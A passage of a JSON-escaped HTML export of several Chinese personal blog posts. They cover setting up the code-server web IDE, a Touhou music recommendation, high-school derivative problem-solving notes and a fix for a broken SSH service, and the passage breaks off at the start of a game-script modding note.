title=\"配置\"\u003e\u003c/a\u003e配置\u003c/h4\u003e\u003cp\u003e我的系统是Ubuntu 20.04 LTS其他Linux应该一样。\u003cbr/\u003e输入指令\u003ccode\u003e./code-server --help\u003c/code\u003e即可查看相关指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eUsage: code-server [options]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eRun VS Code on a remote server.\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eOptions:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -V, --version output the version number\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e --cert \u0026lt;value\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e --cert-key \u0026lt;value\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -e, --extensions-dir \u0026lt;\u003cspan class=\"built_in\"\u003edir\u003c/span\u003e\u0026gt; Override the main default path \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e user extensions.\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e --extra-extensions-dir [\u003cspan class=\"built_in\"\u003edir\u003c/span\u003e] Path to an extra user extension directory (repeatable). (default: [])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e --extra-builtin-extensions-dir [\u003cspan class=\"built_in\"\u003edir\u003c/span\u003e] Path to an extra built-in extension directory (repeatable). (default: [])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -d --user-data-dir \u0026lt;\u003cspan class=\"built_in\"\u003edir\u003c/span\u003e\u0026gt; Specifies the directory that user data is kept \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e, useful when running as root.\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e --data-dir \u0026lt;value\u0026gt; DEPRECATED: Use \u003cspan class=\"string\"\u003e\u0026#39;--user-data-dir\u0026#39;\u003c/span\u003e instead. Customize \u003cspan class=\"built_in\"\u003ewhere\u003c/span\u003e user-data is stored.\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -h, --host \u0026lt;value\u0026gt; Customize the hostname. (default: \u003cspan class=\"string\"\u003e\u0026#34;0.0.0.0\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -o, --open Open \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e the browser on startup.\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -p, --port \u0026lt;number\u0026gt; Port to \u003cspan class=\"built_in\"\u003ebind\u003c/span\u003e on. (default: 8443)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -N, --no-auth Start without requiring authentication.\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -H, --allow-http Allow http connections.\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -P, --password \u0026lt;value\u0026gt; DEPRECATED: Use the PASSWORD environment variable instead. Specify a password \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e authentication.\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e --disable-telemetry Disables ALL telemetry.\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e --socket \u0026lt;value\u0026gt; Listen on a UNIX socket. Host and port will be ignored when \u003cspan class=\"built_in\"\u003eset\u003c/span\u003e.\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e --install-extension \u0026lt;value\u0026gt; Install an extension by its ID.\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e --bootstrap-fork \u0026lt;name\u0026gt; Used \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e development. Never \u003cspan class=\"built_in\"\u003eset\u003c/span\u003e.\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e --extra-args \u0026lt;args\u0026gt; Used \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e development. Never \u003cspan class=\"built_in\"\u003eset\u003c/span\u003e.\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -h, --\u003cspan class=\"built_in\"\u003ehelp\u003c/span\u003e output usage information\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e直接输入指令\u003ccode\u003e./code-server\u003c/code\u003e即可启动codeserver。\u003cbr/\u003e打开浏览器输入\u003ccode\u003ehttp://localhost:8443\u003c/code\u003e即可进入。密码会在终端显示。输入后即可进入。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://mxts.jiujiuer.xyz/files/picture/login-to-ide.png\" alt=\"登录界面\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://mxts.jiujiuer.xyz/files/picture/web-vscode.png\" alt=\"VSCode同款UI\"/\u003e\u003c/p\u003e\u003ch4 id=\"修改密码\"\u003e\u003ca href=\"https://xeonds.github.io/2021/01/01/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/code-server%EF%BC%9A%E4%B8%80%E4%B8%AA%E5%AE%8C%E7%BE%8E%E7%9A%84WebIDE/#%E4%BF%AE%E6%94%B9%E5%AF%86%E7%A0%81\" class=\"headerlink\" title=\"修改密码\"\u003e\u003c/a\u003e修改密码\u003c/h4\u003e\u003cp\u003e修改密码的指令是 \u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eexport PASSWORD=你的密码\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后再启动codeserver就可以使用自定义密码登录了。\u003c/p\u003e\u003ch4 id=\"后台运行\"\u003e\u003ca href=\"https://xeonds.github.io/2021/01/01/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/code-server%EF%BC%9A%E4%B8%80%E4%B8%AA%E5%AE%8C%E7%BE%8E%E7%9A%84WebIDE/#%E5%90%8E%E5%8F%B0%E8%BF%90%E8%A1%8C\" class=\"headerlink\" title=\"后台运行\"\u003e\u003c/a\u003e后台运行\u003c/h4\u003e\u003cp\u003e如果没有安装screen程序就先安装一下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eapt-get install screen -y\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e用cd切换到code-server然后输入以下指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003escreen -dmS code-server ./code-server\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这里的第一个code-server是screen的名称第二个就是code-server程序了。\u003cbr/\u003e如果要关闭这个程序只需要进入这个screen再用Ctrl+C退出即可:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003escreen -r code-server\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[Ctrl+C]\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e好了 \u003cdel\u003e这下就可以扔掉本地IDE了\u003c/del\u003e 到这里就可以愉快地在线coding了。不过注意\u003cstrong\u003e所有文件都是储存在服务器上\u003c/strong\u003e的哦。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/01/01/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/code-server%EF%BC%9A%E4%B8%80%E4%B8%AA%E5%AE%8C%E7%BE%8E%E7%9A%84WebIDE/"},{"title":"音乐推荐:時の風","time":"2021-01-01T03:38:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch5 id=\"游戏-x2F-东方Project-x2F-東方Project:同人界永远的奇迹-東方Project-第三作~东方梦时空\"\u003e\u003ca href=\"https://xeonds.github.io/2021/01/01/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E9%9F%B3%E4%B9%90%E6%8E%A8%E8%8D%90%EF%BC%9A%E6%99%82%E3%81%AE%E9%A2%A8/#%E6%B8%B8%E6%88%8F-x2F-%E4%B8%9C%E6%96%B9Project-x2F-%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9-%E6%9D%B1%E6%96%B9Project-%E7%AC%AC%E4%B8%89%E4%BD%9C%EF%BD%9E%E4%B8%9C%E6%96%B9%E6%A2%A6%E6%97%B6%E7%A9%BA\" class=\"headerlink\" title=\"[[游戏/东方Project/東方Project:同人界永远的奇迹|東方Project]]第三作~东方梦时空\"\u003e\u003c/a\u003e[[游戏/东方Project/東方Project:同人界永远的奇迹|東方Project]]第三作~东方梦时空\u003c/h5\u003e\u003ch5 id=\"未使用曲:時の風\"\u003e\u003ca href=\"https://xeonds.github.io/2021/01/01/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E9%9F%B3%E4%B9%90%E6%8E%A8%E8%8D%90%EF%BC%9A%E6%99%82%E3%81%AE%E9%A2%A8/#%E6%9C%AA%E4%BD%BF%E7%94%A8%E6%9B%B2%EF%BC%9A%E6%99%82%E3%81%AE%E9%A2%A8\" class=\"headerlink\" title=\"未使用曲:時の風\"\u003e\u003c/a\u003e未使用曲:時の風\u003c/h5\u003e\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"330\" height=\"86\" src=\"//music.163.com/outchain/player?type=2\u0026amp;id=22636826\u0026amp;auto=0\u0026amp;height=66\"\u003e\u003c/iframe\u003e\u003cp\u003e2un乐评:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e东方梦时空 未使用曲其1  \u003cbr/\u003e在还没有设计角色之前,制作游戏系统时所使用的曲子。  \u003cbr/\u003e最后,由于没有和这首曲子对得上的角色所以就废弃掉了。\u003cbr/\u003e*86兼容音源专用\u003c/p\u003e\u003c/blockquote\u003e\u003chr/\u003e\u003cp\u003e是一首相当欢快的曲子呢。虽然是未使用曲,但是这首曲子绝对不输任何一首使用曲。  \u003c/p\u003e\u003cp\u003e都说旧作神曲多,但是因为被扣上黑历史的帽子而无人问津,实在令人扼腕。  \u003c/p\u003e\u003cp\u003e有时间的话,听一听旧作曲吧。在那里,你能感受到东方project最初的样子。\u003c/p\u003e\u003cp\u003e回到这首曲子本身上。它很好地表现出了风的细碎感,因此整个曲子都带着一种轻盈的感觉。\u003c/p\u003e\u003cp\u003e好像随时都会飞起来的感觉呢。(笑)\u003c/p\u003e\u003chr/\u003e\u003cp\u003e1997.12.29-2021.1.1。离这首曲子诞生也过去了24年。让我们伴随着时间之风,向着未来,全力飞去。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/01/01/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E9%9F%B3%E4%B9%90%E6%8E%A8%E8%8D%90%EF%BC%9A%E6%99%82%E3%81%AE%E9%A2%A8/"},{"title":"导数解题笔记","time":"2020-12-26T05:59:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e最近在学导数大题解法,就在这里记下我的学习心得吧。 \u003c/p\u003e\u003ch4 id=\"零碎心得\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/26/%E6%95%B0%E5%AD%A6/%E9%AB%98%E4%B8%AD%E6%95%B0%E5%AD%A6/%E5%AF%BC%E6%95%B0%E8%A7%A3%E9%A2%98%E7%AC%94%E8%AE%B0/#%E9%9B%B6%E7%A2%8E%E5%BF%83%E5%BE%97\" class=\"headerlink\" title=\"零碎心得\"\u003e\u003c/a\u003e零碎心得\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e求导后,尽量将导数因式分解。\u003c/strong\u003e求导的主要目的是研究原函数的单调性,故只需关注它的正负。而因式分解后它的正负情况一目了然。可以很直观地看出影响正负的因素进而求解恒成立,最小值等一系列问题。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"处理导数题常用方法\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/26/%E6%95%B0%E5%AD%A6/%E9%AB%98%E4%B8%AD%E6%95%B0%E5%AD%A6/%E5%AF%BC%E6%95%B0%E8%A7%A3%E9%A2%98%E7%AC%94%E8%AE%B0/#%E5%A4%84%E7%90%86%E5%AF%BC%E6%95%B0%E9%A2%98%E5%B8%B8%E7%94%A8%E6%96%B9%E6%B3%95\" class=\"headerlink\" title=\"处理导数题常用方法\"\u003e\u003c/a\u003e处理导数题常用方法\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e直接求导法。\u003c/strong\u003e对于一些简单题只需要求导得到原函数增减性,进而得到极值,零点等。 \u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e分离参数法。\u003c/strong\u003e适用于含有参数的项能够合并的情况。使用应考虑分参后得到的另一边的函数是否易于研究。如果难以研究,那么可以考虑更换其他方法研究。 \u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e构造函数法。\u003c/strong\u003e现在见到的有两种方法。其一是移项构造新函数,其二是在等式两边构造形似函数,通过研究该函数的单调性来解题。 \u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e主元法。\u003c/strong\u003e它的核心思想就是将式中的参数(比如a)看作自变量,这样式子的单调性就很容易判断了,式子的最值或取值范围也因此更好判断。也就是说,主元法最大的作用就是消参。 \u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e端点效应。\u003c/strong\u003e通过对式子的观察,有时我们可以发现一些很明显的零点。比如对于\u003ccode\u003ef(x)=ln(x+1)-x\u003c/code\u003e,我们可以直接发现\u003ccode\u003ex=0\u003c/code\u003e是一个零点。并且不难发现\u003ccode\u003ef\u0026#39;(0)=0\u003c/code\u003e这个特殊点。因此很容易就可以得出f(x)的增减性。 \u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e隐零点法。\u003c/strong\u003e有时我们做导数题,利用导函数判断单调性时,会碰到\u003ccode\u003ef\u0026#39;(x)=ln(x)-x\u003c/code\u003e之类难以直接求出零点的式子。这时不需要直接求出零点,只需要假设f’(x)的零点,也就是假设f(x)的极值点(比如此处假设a是f’(x)的一个零点),再将\u003ccode\u003eln(a)-a=0\u003c/code\u003e的等量关系代入f(a),即可求出f(x)的极值大小。 \u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e放缩法。\u003c/strong\u003e主要是证明不等式的时候用。在导数的恒成立问题中也有用武之地。比如说,要证一个函数在正实数域恒小于0,你已经求得它的最大值,它可能是这样的:\u003ccode\u003eln(x)-x\u003c/code\u003e(或者其他更复杂的形式)。如果你发现这种形式不太好求它的极大值是否大于0,那么我们就可以用常用放缩式\u003ccode\u003eln(x)≤x-1\u003c/code\u003e把它放大,得到\u003ccode\u003eln(x)-x≤x-1-x=-1\u0026lt;0\u003c/code\u003e,问题解决。不过在使用放缩法的时候一定注意不等号方向,放反了可就不好玩了(\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2020/12/26/%E6%95%B0%E5%AD%A6/%E9%AB%98%E4%B8%AD%E6%95%B0%E5%AD%A6/%E5%AF%BC%E6%95%B0%E8%A7%A3%E9%A2%98%E7%AC%94%E8%AE%B0/"},{"title":"记一次ssh翻车","time":"2020-12-21T05:46:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e额……其实好久都没更文章就是这个原因qwq(阿里云背锅) \u003c/p\u003e\u003cp\u003e大概是服务器[[SSH简介|ssh]]挂掉了,结果就一直不能进服务器。差一点都想直接重装了(\u003c/p\u003e\u003cp\u003e好在最后是修好了。下面记一下修复过程。\u003c/p\u003e\u003cp\u003e发现问题后,直接登阿里云控制台,发现提供了vnc可以用来应急救援。\u003c/p\u003e\u003cp\u003e登上,重装ssh。指令:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eapt-get remove openssh-server openssh-client --purge\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapt-get autoremove\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapt-get autoclean\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapt-get update\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapt-get install openssh-server openssh-client\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e装完之后,切换到/etc/ssh/目录,用vim编辑配置文件sshd_config:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003evim /etc/ssh/sshd_config\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e重启ssh服务:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eservice sshd restart\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e再次登录。成功,完美解决。\u003cdel\u003e拍照留念(\u003c/del\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2020/12/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%B0%E4%B8%80%E6%AC%A1ssh%E7%BF%BB%E8%BD%A6/"},{"title":"魔改笔记:ECL符卡结构详解","time":"2020-12-21T05:41:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e这里先贴上一段注释过的符卡脚本\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e其实这就是纯狐一符,没想到吧?\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan 